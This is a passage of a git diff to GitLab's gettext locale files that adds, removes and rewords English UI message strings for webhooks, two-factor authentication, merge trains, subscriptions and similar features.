+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22497,19 +23135,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22605,6 +23243,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22647,7 +23288,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22698,12 +23339,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22761,6 +23411,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22890,10 +23543,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23790,6 +24443,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23838,6 +24494,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23850,6 +24509,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -24035,6 +24697,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -24105,9 +24773,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -24144,9 +24809,6 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
@@ -24154,7 +24816,7 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -24181,6 +24843,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -24211,6 +24876,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -24265,6 +24933,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24368,13 +25042,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24413,6 +25087,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24530,6 +25207,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24605,12 +25285,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24623,6 +25306,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24773,19 +25459,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24809,6 +25495,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24839,7 +25528,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -25013,9 +25702,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -25178,15 +25864,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -25247,6 +25933,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25624,9 +26313,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25711,9 +26397,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25735,9 +26427,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25798,6 +26487,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25942,6 +26634,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -26011,9 +26706,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -26029,10 +26733,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -26215,7 +26931,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26305,6 +27021,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26386,9 +27105,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26404,7 +27120,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26479,7 +27195,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26569,9 +27285,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26623,9 +27336,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26869,9 +27579,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26905,6 +27621,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26941,6 +27660,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26983,6 +27705,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -27189,6 +27917,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -27252,9 +27983,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27396,7 +28124,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27441,6 +28169,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27462,21 +28274,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27486,6 +28298,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27805,10 +28620,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27817,6 +28632,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27826,6 +28647,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27862,9 +28686,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27898,13 +28719,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27988,10 +28809,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -28204,6 +29025,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -28279,7 +29103,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28396,6 +29220,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28526,6 +29353,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28830,12 +29660,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28998,6 +29822,13 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "group"
msgstr ""
@@ -29043,9 +29874,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -29089,6 +29917,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -29240,9 +30071,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -29255,6 +30092,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29327,9 +30167,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29363,12 +30200,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29450,19 +30281,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29682,6 +30513,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29728,9 +30562,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29848,6 +30679,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29866,6 +30700,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29929,6 +30766,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/sl_SI/gitlab.po b/locale/sl_SI/gitlab.po
index b6047495592..513148503b9 100644
--- a/locale/sl_SI/gitlab.po
+++ b/locale/sl_SI/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:48\n"
+"PO-Revision-Date: 2020-09-04 23:10\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -60,13 +60,13 @@ msgstr[3] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -75,6 +75,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -389,6 +392,9 @@ msgstr[3] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -425,6 +431,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -489,6 +498,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -516,7 +528,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -603,9 +615,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -624,6 +633,9 @@ msgstr ""
